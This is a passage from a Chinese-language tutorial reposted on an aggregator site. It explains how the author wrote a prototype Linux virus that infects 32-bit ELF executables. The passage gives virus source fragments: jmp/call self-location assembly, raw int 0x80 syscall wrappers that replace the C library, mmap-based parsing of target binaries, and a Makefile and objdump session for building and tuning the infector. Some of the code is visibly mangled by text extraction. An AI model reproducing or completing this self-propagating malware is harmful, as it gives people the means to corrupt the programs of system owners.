分享
 
 
 

剖析Linux病毒原型&#30340

王朝system·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

6 通过C语言和inline保证病毒代码的可读性和可移植性

用汇编写病毒代码的一个缺点就是 - 可读性和可移植性差,这也是使用汇编语言写

程序的一个普遍的缺点。

在这个linux病毒原型代码了主体使用的都是C语言,只有极少部分由于C语言本身的

限制而不得不使用gcc嵌入汇编。对于C语言部分,也尽量是用inline函数,保证代码

层次分明,保证可读性。

7 病毒代码复制时如何获得自己的起始地址?

虽然,病毒代码部分向ELF Infector提供了代码的起始地址,保证了生成第一个带毒

文件时能够找到代码并插入到目标文件内。但是作为进入宿主内部的代码在进行传播

时却无法使用这个地址,因为它的代码位置已经受到了宿主的影响,这时它需要重新

定位自己的起始位置。

在写这个病毒原型时,我并没有参考过其它病毒的代码,因此这里采用的也许并

不是一个最好的方法:

/* Get start address of virus code */

__asm__ volatile (

"jmp get_start_addr\n"

"infect_start:\n\t"

"popl %0\n\t"

:"=m" (para_code_start_addr)

:);

para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;

... /* c代码 */

...

__asm__ volatile (

...

"get_start_addr:\n\t"

"call infect_start\n"

"return:\n\t"

"push $0xAABBCCDD\n\t" /* push ret_addr */

"ret\n"

::);

通过缓冲区溢出中的一个技巧,jmp/call组合来得到push $0xAABBCCDD指令的地址。

这个地址是0xAABBCCDD地址向后一个push指令,而0xAABBCCDD的地址就是那个用于

存放病毒代码返回地址的地址,这个地址相对于病毒代码起始地址的偏移我们是知道

的,就是病毒代码函数向ELF Infector接口提供的那个宏定义的值:

#ifndef NDEBUG

#define PARACODE_RETADDR_ADDR_OFFSET 1704

#else

#define PARACODE_RETADDR_ADDR_OFFSET 1232

#endif

这样病毒代码在当前宿主中的位置就可以得到了(注意从汇编指令出来后,

para_code_start_addr中存放的是0xAABBCCDD的地址,我们减去偏移再减

一个push指令的长度,就是病毒代码的起始地址):

para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;

8 抛弃C库

由于病毒代码要能在不同的ELF文件内容工作,所以我们必须要保证所有的相关函数

调用在病毒体内即可完成。而对C库的使用将使我们很难做到这一点,即使有的C库函

数是可以完全内联的(完全内联就是说,这个函数本身可以内联,同时其内部没有向

外的函数调用),但是随着编译环境的不同,这点也是不能得到根本保证的,因此我

们有必要选择抛弃C库。

没有了C库,我们使用到的一些函数调用就必须重新实现。在这个Linux病毒原型中有

两种情况,一种是系统调用,另一种是普通的函数。

对于系统调用,我们采用了重新包装的方法:

static inline

g_syscall3(int, write, int, fd, const void *, buf, off_t, count);

static inline

g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);

static inline

g_syscall3(int, open, const char *, file, int, flag, int, mode);

static inline

g_syscall1(int, close, int, fd);

static inline

g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,

int, flags, int, fd, off_t, offset);

static inline

g_syscall2(int, munmap, void *, addr, size_t, len);

static inline

g_syscall2(int, rename, const char *, oldpath, const char *, newpath);

static inline

g_syscall2(int, fstat, int, filedes, struct stat *, buf);

并且修改了syscall包装的宏定义,如

#define g__syscall_return(type, res) do { if ((unsigned long)(res) = (unsigned long)(-125)) { res = -1; } return (type) (res); } while (0)

#define g_syscall0(type,name) type g_##name(void) { long __res; __asm__ volatile ("int $0x80" : "=a" (__res) : "0" (__NR_##name)); g__syscall_return(type,__res); }

对于普通的函数,直接复制一份函数定义:

static inline void * __memcpy(void * to, const void * from, size_t n)

{

int d0, d1, d2;

__asm__ __volatile__(

"rep ; movsl\n\t"

"testb $2,%b4\n\t"

"je 1f\n\t"

"movsw\n"

"1:\ttestb $1,%b4\n\t"

"je 2f\n\t"

"movsb\n"

"2:"

: "=&c" (d0), "=&D" (d1), "=&S" (d2)

:"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from)

: "memory");

return (to);

}

9 保证病毒代码的瘦身需要

为了保证病毒代码体积不至于过于庞大,影响病毒代码的感染,编写代码时也要注意

代码体积问题。由于采用C代码的方式,一些函数调用都是内联的方式,因此每多一个

调用都会引起代码体积的增加。

在进行ELF文件读写更是如此,read/write被频繁的调用。为了减小这方面的影响,对

目标ELF文件进行了一个mmap处理,这样地址空间直接被映射到文件,就消除了读目标

文件时所要做的read调用,节省了一些空间:

ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);

if (ehdr == MAP_FAILED) {

goto err;

}

/* Check ELF magic-ident */

if (ehdr-e_ident[EI_MAG0] != 0x7f

|| ehdr-e_ident[EI_MAG1] != 'E'

|| ehdr-e_ident[EI_MAG2] != 'L'

|| ehdr-e_ident[EI_MAG3] != 'F'

|| ehdr-e_ident[EI_CLASS] != ELFCLASS32

|| ehdr-e_ident[EI_DATA] != ELFDATA2LSB

|| ehdr-e_ident[EI_VERSION] != EV_CURRENT

|| ehdr-e_type != ET_EXEC

|| ehdr-e_machine != EM_386

|| ehdr-e_version != EV_CURRENT

) {

V_DEBUG_WRITE(1, &err_type, sizeof(err_type));

goto err;

}

当前的代码都是用C编写,这样很难象汇编代码那样进行更高程度的精简,不过目前的

代码体积还在合理的范围,

在调试状态和标准状态分别是1744和1248

#ifndef NDEBUG

#define PARACODE_LENGTH 1744

#else

#define PARACODE_LENGTH 1248

#endif

10 数据结构的不一致

与C库的代码调用类似,我们使用的头文件中有一些数据类型的定义是经过

包装的,与系统调用中使用的并不相同。代码相关的两个数据结构,单独提取了出来。

struct dirent {

long d_ino;

unsigned long d_off;

unsigned short d_reclen;

char d_name[256]; /* We must not include limits.h! */

};

struct stat {

unsigned long st_dev;

unsigned long st_ino;

unsigned short st_mode;

unsigned short st_nlink;

unsigned short st_uid;

unsigned short st_gid;

unsigned long st_rdev;

unsigned long st_size;

unsigned long st_blksize;

unsigned long st_blocks;

unsigned long st_atime;

unsigned long st_atime_nsec;

unsigned long st_mtime;

unsigned long st_mtime_nsec;

unsigned long st_ctime;

unsigned long st_ctime_nsec;

unsigned long __unused4;

unsigned long __unused5;

};

五、 新编译环境下的调试方法

grip2@linux:~/tmp/virus ls

g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h

调整Makefile文件,将编译模式改为调试模式,即关掉-DNDEBUG选项

grip2@linux:~/tmp/virus cat Makefile

all: foo gei

gei: g-elf-infector.c gvirus.o

gcc -O2 $

foo: foo.c

gcc $

gvirus.o: gvirus.c

gcc $

clean:

rm *.o -rf

rm foo -rf

rm gei -rf

编译代码

grip2@linux:~/tmp/virus make

gcc foo.c -o foo

gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG

gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义

grip2@linux:~/tmp/virus. /gei -l

Parasite code length: 1744

获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移

grip2@linux:~/tmp/virus objdump -d gei|grep aabbccdd

8049427: 68 dd cc bb aa push $0xaabbccdd

grip2@linux:~

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有